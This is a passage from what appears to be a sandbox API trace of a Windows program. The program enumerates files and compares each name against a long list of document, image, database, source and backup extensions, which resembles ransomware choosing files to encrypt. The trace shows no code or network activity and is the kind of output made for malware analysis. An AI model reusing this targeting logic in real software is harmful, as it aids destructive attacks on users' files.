	[0160.588] lstrlenW (lpString=".ai3") returned 4
	[0160.588] lstrcmpiW (lpString1=".ai3", lpString2=".LOG") returned -1
	[0160.588] lstrlenW (lpString=".ai4") returned 4
	[0160.588] lstrcmpiW (lpString1=".ai4", lpString2=".LOG") returned -1
	[0160.588] lstrlenW (lpString=".ai5") returned 4
	[0160.588] lstrcmpiW (lpString1=".ai5", lpString2=".LOG") returned -1
	[0160.588] lstrlenW (lpString=".ai6") returned 4
	[0160.588] lstrcmpiW (lpString1=".ai6", lpString2=".LOG") returned -1
	[0160.588] lstrlenW (lpString=".ai7") returned 4
	[0160.588] lstrcmpiW (lpString1=".ai7", lpString2=".LOG") returned -1
	[0160.588] lstrlenW (lpString=".ai8") returned 4
	[0160.588] lstrcmpiW (lpString1=".ai8", lpString2=".LOG") returned -1
	[0160.588] lstrlenW (lpString=".anim") returned 5
	[0160.588] lstrcmpiW (lpString1=".anim", lpString2="D.LOG") returned -1
	[0160.588] lstrlenW (lpString=".arw") returned 4
	[0160.588] lstrcmpiW (lpString1=".arw", lpString2=".LOG") returned -1
	[0160.588] lstrlenW (lpString=".as") returned 3
	[0160.588] lstrcmpiW (lpString1=".as", lpString2="LOG") returned -1
	[0160.588] lstrlenW (lpString=".asa") returned 4
	[0160.588] lstrcmpiW (lpString1=".asa", lpString2=".LOG") returned -1
	[0160.588] lstrlenW (lpString=".asc") returned 4
	[0160.588] lstrcmpiW (lpString1=".asc", lpString2=".LOG") returned -1
	[0160.588] lstrlenW (lpString=".ascx") returned 5
	[0160.588] lstrcmpiW (lpString1=".ascx", lpString2="D.LOG") returned -1
	[0160.589] lstrlenW (lpString=".asm") returned 4
	[0160.589] lstrcmpiW (lpString1=".asm", lpString2=".LOG") returned -1
	[0160.589] lstrlenW (lpString=".asmx") returned 5
	[0160.589] lstrcmpiW (lpString1=".asmx", lpString2="D.LOG") returned -1
	[0160.589] lstrlenW (lpString=".asp") returned 4
	[0160.589] lstrcmpiW (lpString1=".asp", lpString2=".LOG") returned -1
	[0160.589] lstrlenW (lpString=".aspx") returned 5
	[0160.589] lstrcmpiW (lpString1=".aspx", lpString2="D.LOG") returned -1
	[0160.589] lstrlenW (lpString=".asr") returned 4
	[0160.589] lstrcmpiW (lpString1=".asr", lpString2=".LOG") returned -1
	[0160.589] lstrlenW (lpString=".asx") returned 4
	[0160.589] lstrcmpiW (lpString1=".asx", lpString2=".LOG") returned -1
	[0160.589] lstrlenW (lpString=".avi") returned 4
	[0160.589] lstrcmpiW (lpString1=".avi", lpString2=".LOG") returned -1
	[0160.589] lstrlenW (lpString=".avs") returned 4
	[0160.589] lstrcmpiW (lpString1=".avs", lpString2=".LOG") returned -1
	[0160.589] lstrlenW (lpString=".backup") returned 7
	[0160.589] lstrcmpiW (lpString1=".backup", lpString2="BCD.LOG") returned -1
	[0160.589] lstrlenW (lpString=".bak") returned 4
	[0160.589] lstrcmpiW (lpString1=".bak", lpString2=".LOG") returned -1
	[0160.589] lstrlenW (lpString=".bay") returned 4
	[0160.589] lstrcmpiW (lpString1=".bay", lpString2=".LOG") returned -1
	[0160.589] lstrlenW (lpString=".bd") returned 3
	[0160.589] lstrcmpiW (lpString1=".bd", lpString2="LOG") returned -1
	[0160.589] lstrlenW (lpString=".bin") returned 4
	[0160.589] lstrcmpiW (lpString1=".bin", lpString2=".LOG") returned -1
	[0160.589] lstrlenW (lpString=".bmp") returned 4
	[0160.589] lstrcmpiW (lpString1=".bmp", lpString2=".LOG") returned -1
	[0160.589] lstrlenW (lpString=".bz2") returned 4
	[0160.589] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0160.589] lstrlenW (lpString=".c") returned 2
	[0160.589] lstrcmpiW (lpString1=".c", lpString2="OG") returned -1
	[0160.589] lstrlenW (lpString=".cdr") returned 4
	[0160.589] lstrcmpiW (lpString1=".cdr", lpString2=".LOG") returned -1
	[0160.589] lstrlenW (lpString=".cer") returned 4
	[0160.589] lstrcmpiW (lpString1=".cer", lpString2=".LOG") returned -1
	[0160.590] lstrlenW (lpString=".cf") returned 3
	[0160.590] lstrcmpiW (lpString1=".cf", lpString2="LOG") returned -1
	[0160.590] lstrlenW (lpString=".cfc") returned 4
	[0160.590] lstrcmpiW (lpString1=".cfc", lpString2=".LOG") returned -1
	[0160.590] lstrlenW (lpString=".cfm") returned 4
	[0160.590] lstrcmpiW (lpString1=".cfm", lpString2=".LOG") returned -1
	[0160.590] lstrlenW (lpString=".cfml") returned 5
	[0160.590] lstrcmpiW (lpString1=".cfml", lpString2="D.LOG") returned -1
	[0160.590] lstrlenW (lpString=".cfu") returned 4
	[0160.590] lstrcmpiW (lpString1=".cfu", lpString2=".LOG") returned -1
	[0160.590] lstrlenW (lpString=".chm") returned 4
	[0160.590] lstrcmpiW (lpString1=".chm", lpString2=".LOG") returned -1
	[0160.590] lstrlenW (lpString=".cin") returned 4
	[0160.590] lstrcmpiW (lpString1=".cin", lpString2=".LOG") returned -1
	[0160.590] lstrlenW (lpString=".class") returned 6
	[0160.590] lstrcmpiW (lpString1=".class", lpString2="CD.LOG") returned -1
	[0160.590] lstrlenW (lpString=".clx") returned 4
	[0160.590] lstrcmpiW (lpString1=".clx", lpString2=".LOG") returned -1
	[0160.590] lstrlenW (lpString=".config") returned 7
	[0160.590] lstrcmpiW (lpString1=".config", lpString2="BCD.LOG") returned -1
	[0160.590] lstrlenW (lpString=".cpp") returned 4
	[0160.590] lstrcmpiW (lpString1=".cpp", lpString2=".LOG") returned -1
	[0160.590] lstrlenW (lpString=".cr2") returned 4
	[0160.590] lstrcmpiW (lpString1=".cr2", lpString2=".LOG") returned -1
	[0160.590] lstrlenW (lpString=".crt") returned 4
	[0160.590] lstrcmpiW (lpString1=".crt", lpString2=".LOG") returned -1
	[0160.590] lstrlenW (lpString=".crw") returned 4
	[0160.590] lstrcmpiW (lpString1=".crw", lpString2=".LOG") returned -1
	[0160.590] lstrlenW (lpString=".cs") returned 3
	[0160.590] lstrcmpiW (lpString1=".cs", lpString2="LOG") returned -1
	[0160.590] lstrlenW (lpString=".css") returned 4
	[0160.590] lstrcmpiW (lpString1=".css", lpString2=".LOG") returned -1
	[0160.590] lstrlenW (lpString=".csv") returned 4
	[0160.590] lstrcmpiW (lpString1=".csv", lpString2=".LOG") returned -1
	[0160.590] lstrlenW (lpString=".cub") returned 4
	[0160.590] lstrcmpiW (lpString1=".cub", lpString2=".LOG") returned -1
	[0160.590] lstrlenW (lpString=".dae") returned 4
	[0160.591] lstrcmpiW (lpString1=".dae", lpString2=".LOG") returned -1
	[0160.591] lstrlenW (lpString=".dat") returned 4
	[0160.591] lstrcmpiW (lpString1=".dat", lpString2=".LOG") returned -1
	[0160.591] lstrlenW (lpString=".db") returned 3
	[0160.591] lstrcmpiW (lpString1=".db", lpString2="LOG") returned -1
	[0160.591] lstrlenW (lpString=".dbf") returned 4
	[0160.591] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0160.591] lstrlenW (lpString=".dbx") returned 4
	[0160.591] lstrcmpiW (lpString1=".dbx", lpString2=".LOG") returned -1
	[0160.591] lstrlenW (lpString=".dc3") returned 4
	[0160.591] lstrcmpiW (lpString1=".dc3", lpString2=".LOG") returned -1
	[0160.591] lstrlenW (lpString=".dcm") returned 4
	[0160.591] lstrcmpiW (lpString1=".dcm", lpString2=".LOG") returned -1
	[0160.591] lstrlenW (lpString=".dcr") returned 4
	[0160.591] lstrcmpiW (lpString1=".dcr", lpString2=".LOG") returned -1
	[0160.591] lstrlenW (lpString=".der") returned 4
	[0160.591] lstrcmpiW (lpString1=".der", lpString2=".LOG") returned -1
	[0160.591] lstrlenW (lpString=".dib") returned 4
	[0160.591] lstrcmpiW (lpString1=".dib", lpString2=".LOG") returned -1
	[0160.591] lstrlenW (lpString=".dic") returned 4
	[0160.591] lstrcmpiW (lpString1=".dic", lpString2=".LOG") returned -1
	[0160.591] lstrlenW (lpString=".dif") returned 4
	[0160.591] lstrcmpiW (lpString1=".dif", lpString2=".LOG") returned -1
	[0160.591] lstrlenW (lpString=".divx") returned 5
	[0160.591] lstrcmpiW (lpString1=".divx", lpString2="D.LOG") returned -1
	[0160.591] lstrlenW (lpString=".djvu") returned 5
	[0160.591] lstrcmpiW (lpString1=".djvu", lpString2="D.LOG") returned -1
	[0160.591] lstrlenW (lpString=".dng") returned 4
	[0160.591] lstrcmpiW (lpString1=".dng", lpString2=".LOG") returned -1
	[0160.591] lstrlenW (lpString=".doc") returned 4
	[0160.591] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0160.591] lstrlenW (lpString=".docm") returned 5
	[0160.591] lstrcmpiW (lpString1=".docm", lpString2="D.LOG") returned -1
	[0160.591] lstrlenW (lpString=".docx") returned 5
	[0160.591] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0160.591] lstrlenW (lpString=".dot") returned 4
	[0160.591] lstrcmpiW (lpString1=".dot", lpString2=".LOG") returned -1
	[0160.592] lstrlenW (lpString=".dotm") returned 5
	[0160.592] lstrcmpiW (lpString1=".dotm", lpString2="D.LOG") returned -1
	[0160.592] lstrlenW (lpString=".dotx") returned 5
	[0160.592] lstrcmpiW (lpString1=".dotx", lpString2="D.LOG") returned -1
	[0160.592] lstrlenW (lpString=".dpx") returned 4
	[0160.592] lstrcmpiW (lpString1=".dpx", lpString2=".LOG") returned -1
	[0160.592] lstrlenW (lpString=".dqy") returned 4
	[0160.592] lstrcmpiW (lpString1=".dqy", lpString2=".LOG") returned -1
	[0160.592] lstrlenW (lpString=".dsn") returned 4
	[0160.592] lstrcmpiW (lpString1=".dsn", lpString2=".LOG") returned -1
	[0160.592] lstrlenW (lpString=".dt") returned 3
	[0160.592] lstrcmpiW (lpString1=".dt", lpString2="LOG") returned -1
	[0160.592] lstrlenW (lpString=".dtd") returned 4
	[0160.592] lstrcmpiW (lpString1=".dtd", lpString2=".LOG") returned -1
	[0160.592] lstrlenW (lpString=".dwg") returned 4
	[0160.592] lstrcmpiW (lpString1=".dwg", lpString2=".LOG") returned -1
	[0160.592] lstrlenW (lpString=".dwt") returned 4
	[0160.592] lstrcmpiW (lpString1=".dwt", lpString2=".LOG") returned -1
	[0160.592] lstrlenW (lpString=".dx") returned 3
	[0160.592] lstrcmpiW (lpString1=".dx", lpString2="LOG") returned -1
	[0160.592] lstrlenW (lpString=".dxf") returned 4
	[0160.592] lstrcmpiW (lpString1=".dxf", lpString2=".LOG") returned -1
	[0160.592] lstrlenW (lpString=".edml") returned 5
	[0160.592] lstrcmpiW (lpString1=".edml", lpString2="D.LOG") returned -1
	[0160.592] lstrlenW (lpString=".efd") returned 4
	[0160.592] lstrcmpiW (lpString1=".efd", lpString2=".LOG") returned -1
	[0160.592] lstrlenW (lpString=".elf") returned 4
	[0160.592] lstrcmpiW (lpString1=".elf", lpString2=".LOG") returned -1
	[0160.592] lstrlenW (lpString=".emf") returned 4
	[0160.592] lstrcmpiW (lpString1=".emf", lpString2=".LOG") returned -1
	[0160.592] lstrlenW (lpString=".emz") returned 4
	[0160.593] lstrcmpiW (lpString1=".emz", lpString2=".LOG") returned -1
	[0160.593] lstrlenW (lpString=".epf") returned 4
	[0160.593] lstrcmpiW (lpString1=".epf", lpString2=".LOG") returned -1
	[0160.593] lstrlenW (lpString=".eps") returned 4
	[0160.593] lstrcmpiW (lpString1=".eps", lpString2=".LOG") returned -1
	[0160.593] lstrlenW (lpString=".epsf") returned 5
	[0160.593] lstrcmpiW (lpString1=".epsf", lpString2="D.LOG") returned -1
	[0160.593] lstrlenW (lpString=".epsp") returned 5
	[0160.593] lstrcmpiW (lpString1=".epsp", lpString2="D.LOG") returned -1
	[0160.593] lstrlenW (lpString=".erf") returned 4
	[0160.593] lstrcmpiW (lpString1=".erf", lpString2=".LOG") returned -1
	[0160.593] lstrlenW (lpString=".exr") returned 4
	[0160.593] lstrcmpiW (lpString1=".exr", lpString2=".LOG") returned -1
	[0160.593] lstrlenW (lpString=".f4v") returned 4
	[0160.593] lstrcmpiW (lpString1=".f4v", lpString2=".LOG") returned -1
	[0160.593] lstrlenW (lpString=".fido") returned 5
	[0160.593] lstrcmpiW (lpString1=".fido", lpString2="D.LOG") returned -1
	[0160.593] lstrlenW (lpString=".flm") returned 4
	[0160.593] lstrcmpiW (lpString1=".flm", lpString2=".LOG") returned -1
	[0160.593] lstrlenW (lpString=".flv") returned 4
	[0160.593] lstrcmpiW (lpString1=".flv", lpString2=".LOG") returned -1
	[0160.593] lstrlenW (lpString=".frm") returned 4
	[0160.593] lstrcmpiW (lpString1=".frm", lpString2=".LOG") returned -1
	[0160.593] lstrlenW (lpString=".fxg") returned 4
	[0160.593] lstrcmpiW (lpString1=".fxg", lpString2=".LOG") returned -1
	[0160.593] lstrlenW (lpString=".geo") returned 4
	[0160.593] lstrcmpiW (lpString1=".geo", lpString2=".LOG") returned -1
	[0160.593] lstrlenW (lpString=".gif") returned 4
	[0160.593] lstrcmpiW (lpString1=".gif", lpString2=".LOG") returned -1
	[0160.593] lstrlenW (lpString=".grs") returned 4
	[0160.593] lstrcmpiW (lpString1=".grs", lpString2=".LOG") returned -1
	[0160.594] lstrlenW (lpString=".gz") returned 3
	[0160.594] lstrcmpiW (lpString1=".gz", lpString2="LOG") returned -1
	[0160.594] lstrlenW (lpString=".h") returned 2
	[0160.594] lstrcmpiW (lpString1=".h", lpString2="OG") returned -1
	[0160.594] lstrlenW (lpString=".hdr") returned 4
	[0160.594] lstrcmpiW (lpString1=".hdr", lpString2=".LOG") returned -1
	[0160.594] lstrlenW (lpString=".hpp") returned 4
	[0160.594] lstrcmpiW (lpString1=".hpp", lpString2=".LOG") returned -1
	[0160.594] lstrlenW (lpString=".hta") returned 4
	[0160.594] lstrcmpiW (lpString1=".hta", lpString2=".LOG") returned -1
	[0160.594] lstrlenW (lpString=".htc") returned 4
	[0160.594] lstrcmpiW (lpString1=".htc", lpString2=".LOG") returned -1
	[0160.594] lstrlenW (lpString=".htm") returned 4
	[0160.594] lstrcmpiW (lpString1=".htm", lpString2=".LOG") returned -1
	[0160.594] lstrlenW (lpString=".html") returned 5
	[0160.594] lstrcmpiW (lpString1=".html", lpString2="D.LOG") returned -1
	[0160.594] lstrlenW (lpString=".icb") returned 4
	[0160.594] lstrcmpiW (lpString1=".icb", lpString2=".LOG") returned -1
	[0160.594] lstrlenW (lpString=".ics") returned 4
	[0160.594] lstrcmpiW (lpString1=".ics", lpString2=".LOG") returned -1
	[0160.594] lstrlenW (lpString=".iff") returned 4
	[0160.594] lstrcmpiW (lpString1=".iff", lpString2=".LOG") returned -1
	[0160.594] lstrlenW (lpString=".inc") returned 4
	[0160.594] lstrcmpiW (lpString1=".inc", lpString2=".LOG") returned -1
	[0160.594] lstrlenW (lpString=".indd") returned 5
	[0160.594] lstrcmpiW (lpString1=".indd", lpString2="D.LOG") returned -1
	[0160.594] lstrlenW (lpString=".ini") returned 4
	[0160.594] lstrcmpiW (lpString1=".ini", lpString2=".LOG") returned -1
	[0160.594] lstrlenW (lpString=".iqy") returned 4
	[0160.595] lstrcmpiW (lpString1=".iqy", lpString2=".LOG") returned -1
	[0160.595] lstrlenW (lpString=".j2c") returned 4
	[0160.595] lstrcmpiW (lpString1=".j2c", lpString2=".LOG") returned -1
	[0160.595] lstrlenW (lpString=".j2k") returned 4
	[0160.595] lstrcmpiW (lpString1=".j2k", lpString2=".LOG") returned -1
	[0160.595] lstrlenW (lpString=".java") returned 5
	[0160.595] lstrcmpiW (lpString1=".java", lpString2="D.LOG") returned -1
	[0160.595] lstrlenW (lpString=".jp2") returned 4
	[0160.595] lstrcmpiW (lpString1=".jp2", lpString2=".LOG") returned -1
	[0160.595] lstrlenW (lpString=".jpc") returned 4
	[0160.595] lstrcmpiW (lpString1=".jpc", lpString2=".LOG") returned -1
	[0160.595] lstrlenW (lpString=".jpe") returned 4
	[0160.595] lstrcmpiW (lpString1=".jpe", lpString2=".LOG") returned -1
	[0160.595] lstrlenW (lpString=".jpeg") returned 5
	[0160.595] lstrcmpiW (lpString1=".jpeg", lpString2="D.LOG") returned -1
	[0160.595] lstrlenW (lpString=".jpf") returned 4
	[0160.595] lstrcmpiW (lpString1=".jpf", lpString2=".LOG") returned -1
	[0160.595] lstrlenW (lpString=".jpg") returned 4
	[0160.595] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0160.595] lstrlenW (lpString=".jpx") returned 4
	[0160.595] lstrcmpiW (lpString1=".jpx", lpString2=".LOG") returned -1
	[0160.595] lstrlenW (lpString=".js") returned 3
	[0160.595] lstrcmpiW (lpString1=".js", lpString2="LOG") returned -1
	[0160.595] lstrlenW (lpString=".jsf") returned 4
	[0160.595] lstrcmpiW (lpString1=".jsf", lpString2=".LOG") returned -1
	[0160.595] lstrlenW (lpString=".json") returned 5
	[0160.595] lstrcmpiW (lpString1=".json", lpString2="D.LOG") returned -1
	[0160.596] lstrlenW (lpString=".jsp") returned 4
	[0160.596] lstrcmpiW (lpString1=".jsp", lpString2=".LOG") returned -1
	[0160.596] lstrlenW (lpString=".kdc") returned 4
	[0160.596] lstrcmpiW (lpString1=".kdc", lpString2=".LOG") returned -1
	[0160.596] lstrlenW (lpString=".kmz") returned 4
	[0160.596] lstrcmpiW (lpString1=".kmz", lpString2=".LOG") returned -1
	[0160.596] lstrlenW (lpString=".kwm") returned 4
	[0160.596] lstrcmpiW (lpString1=".kwm", lpString2=".LOG") returned -1
	[0160.596] lstrlenW (lpString=".lasso") returned 6
	[0160.596] lstrcmpiW (lpString1=".lasso", lpString2="CD.LOG") returned -1
	[0160.596] lstrlenW (lpString=".lbi") returned 4
	[0160.596] lstrcmpiW (lpString1=".lbi", lpString2=".LOG") returned -1
	[0160.596] lstrlenW (lpString=".lgf") returned 4
	[0160.596] lstrcmpiW (lpString1=".lgf", lpString2=".LOG") returned -1
	[0160.596] lstrlenW (lpString=".lgp") returned 4
	[0160.596] lstrcmpiW (lpString1=".lgp", lpString2=".LOG") returned -1
	[0160.596] lstrlenW (lpString=".log") returned 4
	[0160.596] lstrcmpiW (lpString1=".log", lpString2=".LOG") returned 0
	[0160.596] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0160.596] lstrlenW (lpString="BCD.LOG1") returned 8
	[0160.596] lstrlenW (lpString=".1cd") returned 4
	[0160.596] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0160.596] lstrlenW (lpString=".3ds") returned 4
	[0160.596] lstrcmpiW (lpString1=".3ds", lpString2="LOG1") returned -1
	[0160.597] lstrlenW (lpString=".3fr") returned 4
	[0160.597] lstrcmpiW (lpString1=".3fr", lpString2="LOG1") returned -1
	[0160.597] lstrlenW (lpString=".3g2") returned 4
	[0160.597] lstrcmpiW (lpString1=".3g2", lpString2="LOG1") returned -1
	[0160.597] lstrlenW (lpString=".3gp") returned 4
	[0160.597] lstrcmpiW (lpString1=".3gp", lpString2="LOG1") returned -1
	[0160.597] lstrlenW (lpString=".7z") returned 3
	[0160.641] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0160.641] lstrlenW (lpString=".accda") returned 6
	[0160.641] lstrcmpiW (lpString1=".accda", lpString2="D.LOG1") returned -1
	[0160.641] lstrlenW (lpString=".accdb") returned 6
	[0160.641] lstrcmpiW (lpString1=".accdb", lpString2="D.LOG1") returned -1
	[0160.641] lstrlenW (lpString=".accdc") returned 6
	[0160.641] lstrcmpiW (lpString1=".accdc", lpString2="D.LOG1") returned -1
	[0160.641] lstrlenW (lpString=".accde") returned 6
	[0160.641] lstrcmpiW (lpString1=".accde", lpString2="D.LOG1") returned -1
	[0160.641] lstrlenW (lpString=".accdt") returned 6
	[0160.641] lstrcmpiW (lpString1=".accdt", lpString2="D.LOG1") returned -1
	[0160.641] lstrlenW (lpString=".accdw") returned 6
	[0160.641] lstrcmpiW (lpString1=".accdw", lpString2="D.LOG1") returned -1
	[0160.641] lstrlenW (lpString=".adb") returned 4
	[0160.642] lstrcmpiW (lpString1=".adb", lpString2="LOG1") returned -1
	[0160.642] lstrlenW (lpString=".adp") returned 4
	[0160.642] lstrcmpiW (lpString1=".adp", lpString2="LOG1") returned -1
	[0160.642] lstrlenW (lpString=".ai") returned 3
	[0160.642] lstrcmpiW (lpString1=".ai", lpString2="OG1") returned -1
	[0160.642] lstrlenW (lpString=".ai3") returned 4
	[0160.642] lstrcmpiW (lpString1=".ai3", lpString2="LOG1") returned -1
	[0160.642] lstrlenW (lpString=".ai4") returned 4
	[0160.642] lstrcmpiW (lpString1=".ai4", lpString2="LOG1") returned -1
	[0160.642] lstrlenW (lpString=".ai5") returned 4
	[0160.642] lstrcmpiW (lpString1=".ai5", lpString2="LOG1") returned -1
	[0160.642] lstrlenW (lpString=".ai6") returned 4
	[0160.642] lstrcmpiW (lpString1=".ai6", lpString2="LOG1") returned -1
	[0160.642] lstrlenW (lpString=".ai7") returned 4
	[0160.642] lstrcmpiW (lpString1=".ai7", lpString2="LOG1") returned -1
	[0160.642] lstrlenW (lpString=".ai8") returned 4
	[0160.642] lstrcmpiW (lpString1=".ai8", lpString2="LOG1") returned -1
	[0160.642] lstrlenW (lpString=".anim") returned 5
	[0160.642] lstrcmpiW (lpString1=".anim", lpString2=".LOG1") returned -1
	[0160.642] lstrlenW (lpString=".arw") returned 4
	[0160.642] lstrcmpiW (lpString1=".arw", lpString2="LOG1") returned -1
	[0160.642] lstrlenW (lpString=".as") returned 3
	[0160.642] lstrcmpiW (lpString1=".as", lpString2="OG1") returned -1
	[0160.642] lstrlenW (lpString=".asa") returned 4
	[0160.642] lstrcmpiW (lpString1=".asa", lpString2="LOG1") returned -1
	[0160.642] lstrlenW (lpString=".asc") returned 4
	[0160.642] lstrcmpiW (lpString1=".asc", lpString2="LOG1") returned -1
	[0160.642] lstrlenW (lpString=".ascx") returned 5
	[0160.642] lstrcmpiW (lpString1=".ascx", lpString2=".LOG1") returned -1
	[0160.642] lstrlenW (lpString=".asm") returned 4
	[0160.642] lstrcmpiW (lpString1=".asm", lpString2="LOG1") returned -1
	[0160.642] lstrlenW (lpString=".asmx") returned 5
	[0160.642] lstrcmpiW (lpString1=".asmx", lpString2=".LOG1") returned -1
	[0160.642] lstrlenW (lpString=".asp") returned 4
	[0160.642] lstrcmpiW (lpString1=".asp", lpString2="LOG1") returned -1
	[0160.642] lstrlenW (lpString=".aspx") returned 5
	[0160.642] lstrcmpiW (lpString1=".aspx", lpString2=".LOG1") returned -1
	[0160.643] lstrlenW (lpString=".asr") returned 4
	[0160.643] lstrcmpiW (lpString1=".asr", lpString2="LOG1") returned -1
	[0160.643] lstrlenW (lpString=".asx") returned 4
	[0160.643] lstrcmpiW (lpString1=".asx", lpString2="LOG1") returned -1
	[0160.643] lstrlenW (lpString=".avi") returned 4
	[0160.643] lstrcmpiW (lpString1=".avi", lpString2="LOG1") returned -1
	[0160.643] lstrlenW (lpString=".avs") returned 4
	[0160.643] lstrcmpiW (lpString1=".avs", lpString2="LOG1") returned -1
	[0160.643] lstrlenW (lpString=".backup") returned 7
	[0160.643] lstrcmpiW (lpString1=".backup", lpString2="CD.LOG1") returned -1
	[0160.643] lstrlenW (lpString=".bak") returned 4
	[0160.643] lstrcmpiW (lpString1=".bak", lpString2="LOG1") returned -1
	[0160.643] lstrlenW (lpString=".bay") returned 4
	[0160.643] lstrcmpiW (lpString1=".bay", lpString2="LOG1") returned -1
	[0160.643] lstrlenW (lpString=".bd") returned 3
	[0160.643] lstrcmpiW (lpString1=".bd", lpString2="OG1") returned -1
	[0160.643] lstrlenW (lpString=".bin") returned 4
	[0160.643] lstrcmpiW (lpString1=".bin", lpString2="LOG1") returned -1
	[0160.643] lstrlenW (lpString=".bmp") returned 4
	[0160.643] lstrcmpiW (lpString1=".bmp", lpString2="LOG1") returned -1
	[0160.643] lstrlenW (lpString=".bz2") returned 4
	[0160.643] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0160.643] lstrlenW (lpString=".c") returned 2
	[0160.643] lstrcmpiW (lpString1=".c", lpString2="G1") returned -1
	[0160.643] lstrlenW (lpString=".cdr") returned 4
	[0160.643] lstrcmpiW (lpString1=".cdr", lpString2="LOG1") returned -1
	[0160.643] lstrlenW (lpString=".cer") returned 4
	[0160.643] lstrcmpiW (lpString1=".cer", lpString2="LOG1") returned -1
	[0160.643] lstrlenW (lpString=".cf") returned 3
	[0160.643] lstrcmpiW (lpString1=".cf", lpString2="OG1") returned -1
	[0160.643] lstrlenW (lpString=".cfc") returned 4
	[0160.643] lstrcmpiW (lpString1=".cfc", lpString2="LOG1") returned -1
	[0160.643] lstrlenW (lpString=".cfm") returned 4
	[0160.643] lstrcmpiW (lpString1=".cfm", lpString2="LOG1") returned -1
	[0160.643] lstrlenW (lpString=".cfml") returned 5
	[0160.643] lstrcmpiW (lpString1=".cfml", lpString2=".LOG1") returned -1
	[0160.643] lstrlenW (lpString=".cfu") returned 4
	[0160.643] lstrcmpiW (lpString1=".cfu", lpString2="LOG1") returned -1
	[0160.644] lstrlenW (lpString=".chm") returned 4
	[0160.644] lstrcmpiW (lpString1=".chm", lpString2="LOG1") returned -1
	[0160.644] lstrlenW (lpString=".cin") returned 4
	[0160.644] lstrcmpiW (lpString1=".cin", lpString2="LOG1") returned -1
	[0160.644] lstrlenW (lpString=".class") returned 6
	[0160.644] lstrcmpiW (lpString1=".class", lpString2="D.LOG1") returned -1
	[0160.644] lstrlenW (lpString=".clx") returned 4
	[0160.644] lstrcmpiW (lpString1=".clx", lpString2="LOG1") returned -1
	[0160.644] lstrlenW (lpString=".config") returned 7
	[0160.644] lstrcmpiW (lpString1=".config", lpString2="CD.LOG1") returned -1
	[0160.644] lstrlenW (lpString=".cpp") returned 4
	[0160.644] lstrcmpiW (lpString1=".cpp", lpString2="LOG1") returned -1
	[0160.644] lstrlenW (lpString=".cr2") returned 4
	[0160.644] lstrcmpiW (lpString1=".cr2", lpString2="LOG1") returned -1
	[0160.644] lstrlenW (lpString=".crt") returned 4
	[0160.644] lstrcmpiW (lpString1=".crt", lpString2="LOG1") returned -1
	[0160.644] lstrlenW (lpString=".crw") returned 4
	[0160.644] lstrcmpiW (lpString1=".crw", lpString2="LOG1") returned -1
	[0160.644] lstrlenW (lpString=".cs") returned 3
	[0160.644] lstrcmpiW (lpString1=".cs", lpString2="OG1") returned -1
	[0160.644] lstrlenW (lpString=".css") returned 4
	[0160.645] lstrcmpiW (lpString1=".css", lpString2="LOG1") returned -1
	[0160.645] lstrlenW (lpString=".csv") returned 4
	[0160.645] lstrcmpiW (lpString1=".csv", lpString2="LOG1") returned -1
	[0160.645] lstrlenW (lpString=".cub") returned 4
	[0160.645] lstrcmpiW (lpString1=".cub", lpString2="LOG1") returned -1
	[0160.645] lstrlenW (lpString=".dae") returned 4
	[0160.645] lstrcmpiW (lpString1=".dae", lpString2="LOG1") returned -1
	[0160.645] lstrlenW (lpString=".dat") returned 4
	[0160.645] lstrcmpiW (lpString1=".dat", lpString2="LOG1") returned -1
	[0160.645] lstrlenW (lpString=".db") returned 3
	[0160.645] lstrcmpiW (lpString1=".db", lpString2="OG1") returned -1
	[0160.645] lstrlenW (lpString=".dbf") returned 4
	[0160.645] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0160.645] lstrlenW (lpString=".dbx") returned 4
	[0160.645] lstrcmpiW (lpString1=".dbx", lpString2="LOG1") returned -1
	[0160.645] lstrlenW (lpString=".dc3") returned 4
	[0160.645] lstrcmpiW (lpString1=".dc3", lpString2="LOG1") returned -1
	[0160.645] lstrlenW (lpString=".dcm") returned 4
	[0160.645] lstrcmpiW (lpString1=".dcm", lpString2="LOG1") returned -1
	[0160.645] lstrlenW (lpString=".dcr") returned 4
	[0160.645] lstrcmpiW (lpString1=".dcr", lpString2="LOG1") returned -1
	[0160.645] lstrlenW (lpString=".der") returned 4
	[0160.645] lstrcmpiW (lpString1=".der", lpString2="LOG1") returned -1
	[0160.645] lstrlenW (lpString=".dib") returned 4
	[0160.645] lstrcmpiW (lpString1=".dib", lpString2="LOG1") returned -1
	[0160.645] lstrlenW (lpString=".dic") returned 4
	[0160.645] lstrcmpiW (lpString1=".dic", lpString2="LOG1") returned -1
	[0160.645] lstrlenW (lpString=".dif") returned 4
	[0160.645] lstrcmpiW (lpString1=".dif", lpString2="LOG1") returned -1
	[0160.645] lstrlenW (lpString=".divx") returned 5
	[0160.645] lstrcmpiW (lpString1=".divx", lpString2=".LOG1") returned -1
	[0160.645] lstrlenW (lpString=".djvu") returned 5
	[0160.645] lstrcmpiW (lpString1=".djvu", lpString2=".LOG1") returned -1
	[0160.645] lstrlenW (lpString=".dng") returned 4
	[0160.645] lstrcmpiW (lpString1=".dng", lpString2="LOG1") returned -1
	[0160.645] lstrlenW (lpString=".doc") returned 4
	[0160.645] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0160.646] lstrlenW (lpString=".docm") returned 5
	[0160.646] lstrcmpiW (lpString1=".docm", lpString2=".LOG1") returned -1
	[0160.646] lstrlenW (lpString=".docx") returned 5
